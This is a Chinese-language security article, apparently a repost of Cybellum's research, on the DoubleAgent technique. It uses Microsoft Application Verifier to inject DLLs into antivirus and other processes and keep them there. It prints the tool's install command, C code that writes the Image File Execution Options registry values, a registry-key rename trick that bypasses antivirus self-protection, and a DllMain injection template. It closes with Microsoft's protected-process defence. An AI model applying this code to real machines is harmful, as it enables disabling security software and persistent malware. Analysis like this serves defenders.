零日漏洞DoubleAgent的代碼注入和持久性攻擊技術分析
近日Cybellum的安全專家發現了一種新型的零日漏洞病毒,該病毒會在攻擊計算機前先破壞殺毒軟體,Cybellum的安全專家將這種攻擊手段命名為 DoubleAgent。 DoubleAgent通過向殺毒軟體注入代碼從而修改殺毒軟體的進程,進而獲得設備的完整許可權來對用戶進行攻擊。
DoubleAgent利用了存在於Microsoft Application Verifier(應用程序檢驗器)的漏洞,目前確認的受影響的設備包括:
1.從XP到Windows 10的所有Windows 版本都受到了影響,
2.含有x86和x64的Windows架構都受到了影響,3.Windows的SYSTEM 和 Admin 用戶都受到了影響,4.含有OS及Antivirus特權進程的Windows設備都受到了影響,
也就是說DoubleAgent利用了存在於Microsoft Application Verifier的一個15年的漏洞,而且這種攻擊是建立在一個合法進程之上,因此目前我們還無法對其進行修復。
代碼注入
據Cybellum介紹,DoubleAgent通過將一個叫做「verifier provider DLL」的文件載入到目標應用程序的進程程中。
一旦載入完成,該DLL將作為指定進程的程序DLL添加到Windows註冊表。隨後Windows會自動以該DLL註冊名將代碼注入到所有進程中,這個機制使得DoubleAgent能夠獲得高執行許可權,從而允許DoubleAgent執行特權來註冊一個惡意的代碼進程,將代碼注入到殺毒軟體,並劫持其代理。
這個攻擊方法適用於任何進程了,一旦惡意軟體劫持了殺毒軟體,它可能會濫用其進行各種惡意操作,包括更改殺毒軟體的白名單或黑名單、在應用程序中安裝後門程序、劫持用戶數據、將其傳播到其他設備、進行加密或刪除文件(即勒索軟體的行為)。
另外代碼注入在進程啟動過程中發生得非常早,從而使攻擊者完全控制進程,並且無法讓進程進行自我保護。總而言之,這種代碼注入技術非常獨特,不會被任何殺毒軟體檢測到或阻止。
實施持久性攻擊
Cybellum還指出,即便採取了重新啟動、更新、重新安裝或修補程序等行為,攻擊也很難被阻止,DoubleAgent還可以繼續注入代碼。一旦攻擊者將代碼注入到一個進程中,則這個進程將永遠被強制綁定。
攻擊範圍
1.DoubleAgent的攻擊據稱影響到諸多安全廠商,包括Avast, AVG, Avira, Bitdefender, Comodo, ESET, F-Secure, Kaspersky, Malwarebytes, McAfee, Norton, Panda, Quick Heal 和 Trend Micro。
2.DoubleAgent可以在操作系統啟動後自動執行。
3.DoubleAgent可以劫持現有可信進程的許可權,從而偽裝成受信任的進程以執行惡意操作。
4.DoubleAgent可以更改執行流程,例如安裝後門、削弱加密演算法等。
5.DoubleAgent通過向其他用戶和會話控制的進程中注入代碼,將其傳播到其他設備。
攻擊技術還原
利用Microsoft Application Verifier的漏洞
DoubleAgent通過一個叫做「verifier provider DLL」的文件載入到應用程序的進程中。
驗證者提供的代碼只是一個被載入到進程中並負責執行應用程序運行驗證的,為了註冊一個新的應用程序驗證代碼,驗證者需要為驗證程序提供程序代碼並通過在註冊表中創建一組密鑰(a set of keys)來註冊它。
一旦將代碼註冊為進程的驗證程序,即使在重新啟動、更新、重新安裝、修補程序等之後,Windows Loader也會永久注入到進程中。
註冊
應用程序驗證者會根據可執行文件名稱進行註冊,這意味著每個代碼都被綁定到一個特定的可執行文件名稱,並且還將被注入到註冊過的進程名稱啟動後的每個進程。
例如把DoubleAgentDll.dll註冊到cmd.exe並啟動,「C:/cmd.exe」和「C:/Windows/System32/cmd.exe」在註冊後,會將DoubleAgentDll.dll注入到這兩個進程中。
註冊後,每當使用註冊名稱創建新進程時,操作系統會自動執行注入。無論是rebootsupdatesreinstallspatches還是其它,注入都會一直發生。每次創建具有註冊名稱的新進程時,DoubleAgent都將與應用程序驗證一起注入。
可以使用Cybellum公開的DoubleAgent項目來註冊新的應用驗證,請點擊這兒。
Usage: DoubleAgent.exe installuninstallrepair process_namee.g. DoubleAgent.exe install cmd.exe
或者使用驗證器模塊將註冊功能集成到現有項目中,請點擊這兒。
/* * Installs an application verifier for the process */DOUBLEAGENT_STATUS VERIFIER_Install(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName, IN PCWSTR pcwszVrfDllPathX86, IN PCWSTR pcwszVrfDllPathX64);/* * In some cases (application crash, exception, etc.) the installuninstall functions may accidentally leave the machine in an undefined state * Repairs the machine to its original state */DOUBLEAGENT_STATUS VERIFIER_Repair(VOID);/* * Uninstalls the application verifier from the process */VOID VERIFIER_Uninstall(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName);
在後台,註冊過程創建了兩個新的註冊表項:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/PROCESS_NAME
/* Creates the VerifierDlls value and sets it to the verifier dll name */bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));/* * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx */bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD,&dwGlobalFlag, sizeof(dwGlobalFlag)));
最終結果如下:
某些殺毒軟體試圖通過阻止DoubleAgent修改密鑰的方法來保護「Image File Execution Options」下的進程。例如殺毒軟體可能會嘗試阻止訪問「Image File Execution Options/ANTIVIRUS_NAME」的任何嘗試。
但是DoubleAgent只需要通過略微修改註冊表路徑,就可以輕鬆地繞過這些簡單的保護措施。例如繞過「 「Image File Execution Options/ANTIVIRUS_NAME」 的訪問,DoubleAgen首先將「Image File Execution Options」重命名為「Image File Execution Options Temp」等新的臨時名稱,在「Image File Execution Options TempANTIVIRUS_NAME」下創建新的註冊表項,然後將「Image File Execution Options」重命名為其原始名稱。
因為新的密鑰的創建發生在「Image File Execution Options TempANTIVIRUS_NAME」而不是「Image File Execution Options/ANTIVIRUS_NAME」之下,所以DoubleAgent足以繞過殺毒軟體的自我保護。
Cybellum的研究人員通過對幾款殺毒軟體的註冊表項進行安全保護性測試後發現,所有這些殺毒軟體都被使用了「Rename Technique」的DoubleAgent繞過。
在「Rename Technique」技術實現後,就可以實現代碼注入了:
/* Creates the VerifierDlls value and sets it to the verifier dll name */bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));/* * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx */bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));/* * The key creation might fail because some antiviruses protect the keys of their processes under the IFEO * One possible bypass is to rename the IFEO key name to a temporary name, create the keys, and restores the IFEO key name */if ((FALSE == bCreatedVerifierDlls) || (FALSE == bCreatedGlobalFlag)){/* Renames the IFEO key name to a temporary name */if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP)){DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGRENAMEKEY_FAILED);goto lbl_cleanup;}bKeyRenamed = TRUE;/* * Opens the temporary IFEO key * The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO */if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp)){DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_TEMP_IFEO);goto lbl_cleanup;}if (FALSE == bCreatedVerifierDlls){/* Tries again to create the VerifierDlls value */if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes)){DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_VERIFIERDLLS);goto lbl_cleanup;}bCreatedVerifierDllsTemp = TRUE;}if (FALSE == bCreatedGlobalFlag){/* Tries again to create the GlobalFlag value */if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag))){DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_GLOBALFLAG);goto lbl_cleanup;}bCreatedGlobalFlagTemp = TRUE;}}
注入
操作系統會通過調用ntdll的LdrInitializeThunk 來控制內核到用戶的傳輸模式,這樣每個進程都將啟動。啟動後,ntdll會負責初始化過程(初始化全局變數,載入導入等),並最終將控制轉移到執行程序:
該過程處於初始階段,唯一載入的模塊是ntdll.dll和可執行文件(NS.exe):
當ntdll的LdrpInitializeProcess中的大部分初始化發生時,Ntdll也會開始初始化進程:
通常第一個被載入的DLL將是kernel32.dll。
但是,如果應用程序驗證已經打開ntdll的LdrpInitializeProcess調用ntdll的AVrfInitializeVerifier,那這會導致程序DLL在載入kernel32之前載入:
初始階段,在任何其他系統dll之前,研究人員是可以絕對控制這個過程的:
一旦研究人員的DLL由ntdll載入,則DllMain將被調用,研究人員就可以自由地按照所希望的方式在用戶進程中進行任意控制狂:
static BOOL main_DllMainProcessAttach(VOID){DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;/* ************************************************************************** Enter Your Code Here ************************************************************************** */ /* Succeeded */DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);/* Returns status */return FALSE != DOUBLEAGENT_SUCCESS(eStatus);}
DoubleAgent的預防
微軟為殺毒廠商提供了一個新的保護理念,稱為保護過程防護。保護過程防護專門是為殺毒服務而設計。殺毒進程可以創建為「受保護的進程」,受保護的進程設備只允許受信任的簽名代碼載入,並具有針對代碼注入攻擊的內置防護功能。這意味著即使攻擊者再發現了一種新的零日漏洞技術來注入代碼,但因為它的代碼未簽名,所以最終還是無法修改殺毒軟體的許可權。目前只有Windows Defender已經實現了這種保護。
不過請注意,即使殺毒軟體會阻止註冊嘗試,代碼注入技術和持久性技術也難被阻止,因為代碼注入技術和持久性技術利用了是操作系統的合法進程。
源代碼
DoubleAgent源代碼項目可以在Github上找到,請點擊這兒。
總結
攻擊技術總是在發展,比如這次的零日攻擊。所以我們需要更加努力地發現和防範這些攻擊,並停止盲目信任傳統的安全解決方案,如上文所分析的那樣,如果我們還是按照傳統的思維方式來抵禦這個零日攻擊,不僅無效而且還為攻擊者創造了新的攻擊機會。
本文參考來源於cybellum,如若轉載,請註明來源於嘶吼: 零日漏洞DoubleAgent的代碼注入和持久性攻擊技術分析 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※我有錢,你有0day嗎?
※phpcms_v9.6.0_sql注入與exp
※有哪些好的國內外的 0day 網站?
※MySQL被爆兩枚0day漏洞或危機網站資料庫